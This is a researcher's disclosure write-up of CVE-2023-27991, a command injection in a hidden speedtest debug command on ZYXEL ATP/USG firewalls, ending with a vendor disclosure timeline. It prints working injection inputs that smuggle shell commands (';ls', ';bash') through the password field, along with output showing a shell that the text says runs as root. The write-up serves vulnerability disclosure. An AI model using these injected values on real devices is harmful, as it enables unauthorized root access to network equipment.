CVE-2023-27991: Remote Code Execution in ZYXEL ATP/USG (V5.35)
"If you want to keep a secret, you must also hide it from yourself."
– George Orwell, 1984
Summary
During my red teaming engagement on ZYXEL's products, I discovered several hidden commands within their ZYSH binary. One notable command is the speedtest
utility, which enables testing of connectivity speed directly from the firewall.
1. Speedtest Utility
To run the speedtest utility, log in via SSH or the web console as either admin
or
limited-admin
, and execute the following command:
CVE-2023-27991: Remote Code Execution in ZYXEL ATP/USG (V5.35)Router> debug _speedtest host a user a password a interface a speedtest-host a
This will generate the following output.
CVE-2023-27991: Remote Code Execution in ZYXEL ATP/USG (V5.35)Router> debug _speedtest host a user a password a interface a speedtest-host a + host=a + id=a + pw=a + basedir=/tmp/ + pwd /db/etc/zyxel/ftp + remodir=/zyxel/x86/ + filename=speedtest.tar.bz2 + cd /tmp/ + ftp -n a ftp: a: Name or service not known Not connected. Not connected. Not connected. Not connected. + tar -jxvf /tmp/speedtest.tar.bz2 -C /tmp/ tar (child): /tmp/speedtest.tar.bz2: Cannot open: No such file or directory tar (child): Error is not recoverable: exiting now tar: Child returned status 2 tar: Error is not recoverable: exiting now + rm -f /tmp/speedtest.tar.bz2 + cd /tmp/speedtest + pwd /tmp/speedtest + LD_LIBRARY_PATH=/tmp/speedtest + ./php speedtest.php /tmp/speedtest.sh: line 22: ./php: No such file or directory Router>
2. Parameter Injection
While experimenting with the utility, I noticed that it was possible to inject parameters previously passed to the command.
Injection Example & Directory Listing
It appears that the username
and password
parameters are not sanitized properly. This allows for the injection of bash commands into the ZYSH command. An example of this injection is:
CVE-2023-27991: Remote Code Execution in ZYXEL ATP/USG (V5.35)Router> debug _speedtest host a user a password a’;ls’ interface eth1 speedtest-host a
Output:
CVE-2023-27991: Remote Code Execution in ZYXEL ATP/USG (V5.35)Router> debug _speedtest host a user a password a';ls' interface a speedtest-host a + host=a + id=a + pw=a + ls 3G_patch_file.wwan_decryption conf dev firmware2 latest_version.test script tr069 av current_version diaginfo_script idp licenseremind standby_conf twofa cert debug firmware1 latest_version packet_trace tmp wtp_image + basedir=/tmp/ + pwd /db/etc/zyxel/ftp + remodir=/zyxel/x86/ + filename=speedtest.tar.bz2 + cd /tmp/ + ftp -n a ftp: a: Name or service not known Not connected. Not connected. Not connected. Not connected. + tar -jxvf /tmp/speedtest.tar.bz2 -C /tmp/ tar (child): /tmp/speedtest.tar.bz2: Cannot open: No such file or directory tar (child): Error is not recoverable: exiting now tar: Child returned status 2 tar: Error is not recoverable: exiting now + rm -f /tmp/speedtest.tar.bz2 + cd /tmp/speedtest + pwd /tmp/speedtest + LD_LIBRARY_PATH=/tmp/speedtest + ./php speedtest.php /tmp/speedtest.sh: line 22: ./php: No such file or directory Router>
Someone in Taiwan must have thought: "Come on, who will ever find this utility? … laugh"
3. Shell Access
Next, I attempted to spawn a shell injecting ;bash
Output:
CVE-2023-27991: Remote Code Execution in ZYXEL ATP/USG (V5.35)Router> debug _speedtest host a user a password a';bash' interface a speedtest-host a + host=a + id=a + pw=a + bash bash-4.2$ id uid=10006(zyxeladmin) gid=10000(operator) groups=10000(operator) bash-4.2$
4. User Access Control
To assess whether a demo user could perform the same actions, I created a new user with limited access and it works as well.
5. Privilege Escalation
Attempts to escalate privileges were unnecessary, as executing the command injection via the web console's CLI spawns a bash shell with root access.
Conclusion:
This demonstrates a serious vulnerability in the ZYXEL devices, allowing users with admin
or limited-admin
privileges to escalate their access to root via the web console.
Disclosure
- 2023-03-14: ZYXEL was notified via <security@zyxel.com.tw>
- 2023-03-14: ZYXEL acknowledged my vulnerability report.
- 2023-03-23: ZYXEL assigned CVE-2023-27991 to the reported issues and informed me of their intention to publish their security advisory on 2023-05-09.
- 2023-04-14: ZYXEL informed me that they managed to fix the vulnerability ahead of schedule and would release the fix and disclose the vulnerability on 2023-04-25.
- 2023-04-25: ZYXEL published their security advisory, following my coordinated disclosure timeline.